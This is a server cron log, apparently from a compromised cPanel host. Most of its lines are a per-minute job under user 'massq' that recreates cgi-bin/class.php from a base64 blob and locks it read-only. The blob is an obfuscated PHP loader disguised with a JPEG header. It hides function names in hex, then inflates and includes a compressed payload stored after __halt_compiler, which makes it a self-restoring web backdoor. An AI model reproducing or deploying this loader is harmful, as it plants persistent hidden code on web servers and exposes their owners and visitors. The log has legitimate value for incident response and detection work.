Nov  9 07:10:01 server CROND[22351]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 07:10:01 server CROND[22352]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 07:11:01 server CROND[23171]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 07:12:01 server CROND[24001]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov  9 07:12:01 server CROND[24002]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 07:13:01 server CROND[24850]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 07:14:01 server CROND[25782]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 07:15:01 server CROND[26628]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 07:15:01 server CROND[26629]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 07:15:01 server CROND[26630]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 07:16:01 server CROND[27720]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 07:17:01 server CROND[28556]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 07:18:01 server CROND[29379]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 07:19:01 server CROND[30240]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 07:20:02 server CROND[30885]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 07:20:02 server CROND[30887]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 07:20:02 server CROND[30890]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov  9 07:20:02 server CROND[30891]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 07:20:02 server CROND[30896]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 07:21:01 server CROND[31794]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 07:22:01 server CROND[32461]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
